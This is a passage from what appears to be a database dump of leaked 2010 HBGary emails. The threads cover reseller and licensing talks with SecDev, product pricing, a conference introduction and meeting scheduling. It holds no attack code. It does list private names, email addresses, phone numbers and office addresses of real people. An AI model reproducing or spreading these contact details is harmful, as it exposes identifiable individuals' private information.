to ensure that we have the right commercial agreement in place on that end.&nbsp;Best wishes,Arnav&nbsp;On 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:Hello Penny,&nbsp;I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.&nbsp;In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.&nbsp;Do let me know your thoughts on this.&nbsp;Best wishes,Arnav&nbsp;&nbsp;On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14691,'aaron_hbgary_com/14691.html'),(6994,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005092.M591759P14101Q1849.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Fwd: Link to interview','Sent from my iPadBegin forwarded message:From: Camille Tuutti-Winkler &lt;camille@executivebiz.com&gt;\r\nDate: June 3, 2010 1:10:02 PM MDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Link to interview\r\nAaron,We&#39;ll take care of that ASAP--thanks for letting me know.Camille Tuutti | Reporter | ExecutiveBiz8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004________________________________________From: Aaron Barr [aaron@hbgary.com]Sent: Thursday, June 03, 2010 2:02 PM\r\nTo: Camille Tuutti-WinklerSubject: Re: Link to interviewHi Camille,Would u be able to fix the company from ceo of HBGary to CEO of HBGary federal?\r\nAaronSent from my iPadOn Jun 2, 2010, at 8:38 AM, Camille Tuutti-Winkler&lt;camille@executivebiz.com&gt; wrote:\r\nAaron, here is the link to the interview.\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\nThanks!Camille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182Office: 703-226-7004________________________________________\r\n\r\n',5620,'aaron_hbgary_com/5620.html'),(6995,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005092.M996685P14101Q1850.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','Sure available for the rest of the day.Sent from my iPadOn Jun 3, 2010, at 1:20 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Are you available today to talk to my CEO Rafal? Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-03, at 1:00 PM, Aaron Barr wrote:\r\nHi Arnav,Can we have a brief discussion about this.  I think that would help to move things a long.AaronOn Jun 2, 2010, at 9:28 AM, Arnav Manchanda wrote:\r\nDear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.\r\nI wanted to follow-up with you regarding Penny&#39;s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.\r\nAs such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it&#39;s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.\r\nAlso, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev&#39;s product offerings and expand our client bases.\r\nI look forward to your thoughts.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\nOK, here is the long and short\r\n \r\n1.       Yes you can buy Responder Pro as a perpetual license.  It’s $10,200 and $2040 per year in maintenance.   The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.  It comes with one copy of FastDump Pro.  Additional copies of FastDump Pro are $100 per copy.  Digital DNA is a separate component and it is $2000 per year.  It only works with Responder Pro, it does not work with Field Edition.  .  You would receive a reseller discount off the product pricing.\r\n2.       We also have CLiP pricing for consultants.  This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.  This allows you to use scan 1000’s of machines at once.  Some companies like to use it as a “healthcheck”.  This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.  Pricing starts at $5 per node.  This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.   We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.  This allows you to further look into an organization and let them know what is going on.  May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.  Where you offer a service that checks weekly (like a managed service) what is going on.  8 Week licenses start at $10 per node.  If they want managed service we do this on a case by case basis. \r\n \r\n \r\n\r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Tuesday, June 01, 2010 1:07 PMTo: Penny Leavy-HoglundCc: &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n Hi Penny,\r\n We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?\r\n \r\nThe license we currently have is a trial/eval one.\r\n Thanks for this information.\r\n Best,\r\nArnav\r\n \r\n \r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\nSure you can modify agreement.  With regards to products being used for consulting services, you should purchase a copy to do that.  I’m assuming you have Responder Pro.  We also have AD licenses designed for consultants so that you can charge per engagement fees to customers\r\n \r\n\r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Monday, May 31, 2010 5:34 AMTo: Arnav ManchandaCc: Penny Leavy-Hoglund; &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n Dear Penny, Aaron,\r\n I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.\r\n \r\nAaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.\r\n \r\nBest wishes,Arnav\r\n \r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\nHello Penny,\r\n \r\nI am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary&#39;s products in Canada.\r\n In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.\r\n \r\nDo let me know your thoughts on this.\r\n Best wishes,\r\nArnav\r\n\r\n \r\n On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\nCool, thanks\r\n \r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Thursday, May 20, 2010 12:13 PMTo: Penny Leavy-HoglundCc: &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n Thanks Penny, will have a look and get back to you by early next week.\r\n \r\nBest,\r\nArnav \r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\nHi Guys,\r\n \r\nAttached is our standard reseller form.  Here are datasheets and two white papers.  We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out. \r\n \r\n\r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, May 19, 2010 4:18 AMTo: Aaron BarrCc: Penny Leavy\r\nSubject: Re: Introduction\r\n Hi Aaron,\r\n \r\nI&#39;m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever&#39;s best 613-755-4007\r\n \r\nBest,\r\nArnav\r\n \r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\nHi Arnav, \r\nSure.  Cc&#39;d is the president of HBGary Inc.  They build and manage the product.  Penny will get you the reseller agreement.  We use the HBGary products as our foundation for enterprise incident response engagements.  I will send you some information on this.  Can we talk briefly tomorrow?\r\n \r\nAaronSent from my iPad\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron, \r\nThanks for this. It was good to speak to you on Friday.\r\n \r\nLooking forward to receiving a reseller agreement/other materials that we can go through.\r\n \r\nBest wishes,\r\nArnav\r\n \r\n\r\n \r\nArnav Manchanda\r\nBusiness Capture &amp; Analytics\r\nThe SecDev Group\r\ncomplexity.engaged\r\n \r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\n \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n \r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n \r\n\r\n On 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\nSent from my iPad\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject: Introduction\r\nScott,Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\nAaron\r\n \r\n &lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;\r\n \r\n \r\n  \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',4332,'aaron_hbgary_com/4332.html'),(6996,'2010-06-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005093.M223344P14101Q1851.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pics','Forward me the pics you sent Penny.\r\n',9739,'aaron_hbgary_com/9739.html'),(6997,'2010-06-03','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005093.M446964P14101Q1852.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Staci Redmon, PMP, MBA and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 3, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Database Test Engineer &#x2013; \r\nLabor Category: E2 \r\nWork Location: Springfield, VA\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 65 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',10700,'aaron_hbgary_com/10700.html'),(6998,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005093.M690427P14101Q1853.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"John Lovegrove\" <John.Lovegrove@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','COIN Update','All,\r\n\r\nI am fairly certain that NG is teaming with SAIC for the recompete.  This creates a significant challenge that we need to discuss.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13086,'aaron_hbgary_com/13086.html'),(6999,'2010-06-03','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005094.M506607P14101Q1855.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron,Can we try for something tomorrow afternoon? Shall we say 2pm EST? It would be me and my CEO Rafal Rohozinski.Best,Arnav\r\n\r\nOn 2010-06-03, at 5:38 PM, Aaron Barr wrote:Hi Arnav,Do you want to try and schedule something today?AaronSent from my iPadOn Jun 3, 2010, at 1:20 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Are you available today to talk to my CEO Rafal?&nbsp;Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-03, at 1:00 PM, Aaron Barr wrote:\r\nHi Arnav,Can we have a brief discussion about this. &nbsp;I think that would help to move things a long.AaronOn Jun 2, 2010, at 9:28 AM, Arnav Manchanda wrote:\r\nDear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.\r\nI wanted to follow-up with you regarding Penny\'s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.\r\nAs such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it\'s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.\r\nAlso, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev\'s product offerings and expand our client bases.\r\nI look forward to your thoughts.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\nOK, here is the long and short\r\n&nbsp;\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Yes you can buy Responder Pro as a perpetual license.&nbsp; It’s $10,200 and $2040 per year in maintenance.&nbsp;&nbsp; The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.&nbsp; It comes with one copy of FastDump Pro.&nbsp; Additional copies of FastDump Pro are $100 per copy.&nbsp; Digital DNA is a separate component and it is $2000 per year.&nbsp; It only works with Responder Pro, it does not work with Field Edition.&nbsp; .&nbsp; You would receive a reseller discount off the product pricing.\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also have CLiP pricing for consultants.&nbsp; This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.&nbsp; This allows you to use scan 1000’s of machines at once.&nbsp; Some companies like to use it as a “healthcheck”.&nbsp; This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.&nbsp;&nbsp; We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.&nbsp; This allows you to further look into an organization and let them know what is going on.&nbsp; May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.&nbsp; Where you offer a service that checks weekly (like a managed service) what is going on.&nbsp; 8 Week licenses start at $10 per node.&nbsp; If they want managed service we do this on a case by case basis.&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Tuesday, June 01, 2010 1:07 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Hi Penny,\r\n&nbsp;We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?\r\n&nbsp;\r\nThe license we currently have is a trial/eval one.\r\n&nbsp;Thanks for this information.\r\n&nbsp;Best,\r\nArnav\r\n&nbsp;\r\n&nbsp;\r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\nSure you can modify agreement.&nbsp; With regards to products being used for consulting services, you should purchase a copy to do that.&nbsp; I’m assuming you have Responder Pro.&nbsp; We also have AD licenses designed for consultants so that you can charge per engagement fees to customers\r\n&nbsp;\r\n\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Monday, May 31, 2010 5:34 AMTo:&nbsp;Arnav ManchandaCc:&nbsp;Penny Leavy-Hoglund; \'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Dear Penny, Aaron,\r\n&nbsp;I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.\r\n&nbsp;\r\nAaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.\r\n&nbsp;\r\nBest wishes,Arnav\r\n&nbsp;\r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\nHello Penny,\r\n&nbsp;\r\nI am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.\r\n&nbsp;In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.\r\n&nbsp;\r\nDo let me know your thoughts on this.\r\n&nbsp;Best wishes,\r\nArnav\r\n\r\n&nbsp;\r\n&nbsp;On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\nCool, thanks\r\n&nbsp;\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Thanks Penny, will have a look and get back to you by early next week.\r\n&nbsp;\r\nBest,\r\nArnav&nbsp;\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\nHi Guys,\r\n&nbsp;\r\nAttached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;\r\n&nbsp;\r\n\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Hi Aaron,\r\n&nbsp;\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007\r\n&nbsp;\r\nBest,\r\nArnav\r\n&nbsp;\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\nHi Arnav,&nbsp;\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?\r\n&nbsp;\r\nAaronSent from my iPad\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron,&nbsp;\r\nThanks for this. It was good to speak to you on Friday.\r\n&nbsp;\r\nLooking forward to receiving a reseller agreement/other materials that we can go through.\r\n&nbsp;\r\nBest wishes,\r\nArnav\r\n&nbsp;\r\n\r\n&nbsp;\r\nArnav Manchanda\r\nBusiness Capture &amp; Analytics\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n&nbsp;\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;\r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n&nbsp;\r\n\r\n&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\nSent from my iPad\r\nBegin forwarded message:\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject:&nbsp;Introduction\r\nScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.\r\nAaron\r\n&nbsp;\r\n&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',9800,'aaron_hbgary_com/9800.html'),(7000,'2010-06-03','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297005094.M743870P14101Q1856.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting invitation: Sicily Discussion','Aaron--how about a chat with Chris and I after 2:30 ET tomorrow?\r\n\r\n-d\r\n\r\nOn Jun 3, 2010, at 1:01 PM, Aaron Barr wrote:\r\n\r\n> I am pretty flexible the rest of today and tomorrow, just in Colorado working on some of the integration between EGS, Fidelis, HBGary tech.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 1, 2010, at 5:05 PM, Daniel Ingevaldson wrote:\r\n> \r\n>> Aaron, thanks for your time on the line today.  We\'re excited that you guys are immediately seeing value from the feed.  I owe you some feedback on the items we discussed at the end of the call.  What times work for you to have a follow-up call on partnership opportunities?  I\'d like to bring in Chris on this end as well.  Thanks Aaron, talk soon.\r\n>> \r\n>> Best,\r\n>> -d\r\n>> \r\n>> ---------------------------------\r\n>> Daniel S. Ingevaldson, COO\r\n>> Endgame Systems, LLC\r\n>> dsi@endgames.us\r\n>> (w)404-781-2955\r\n>> (f)404-781-2951\r\n>> (m)404-992-9449\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n---------------------------------\r\nDaniel S. Ingevaldson, COO\r\nEndgame Systems, LLC\r\ndsi@endgames.us\r\n(w)404-781-2955\r\n(f)404-781-2951\r\n(m)404-992-9449\r\n\r\n',5442,'aaron_hbgary_com/5442.html'),(7001,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005094.M98594P14101Q1854.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','Hi Arnav,Do you want to try and schedule something today?AaronSent from my iPadOn Jun 3, 2010, at 1:20 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Are you available today to talk to my CEO Rafal? Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-03, at 1:00 PM, 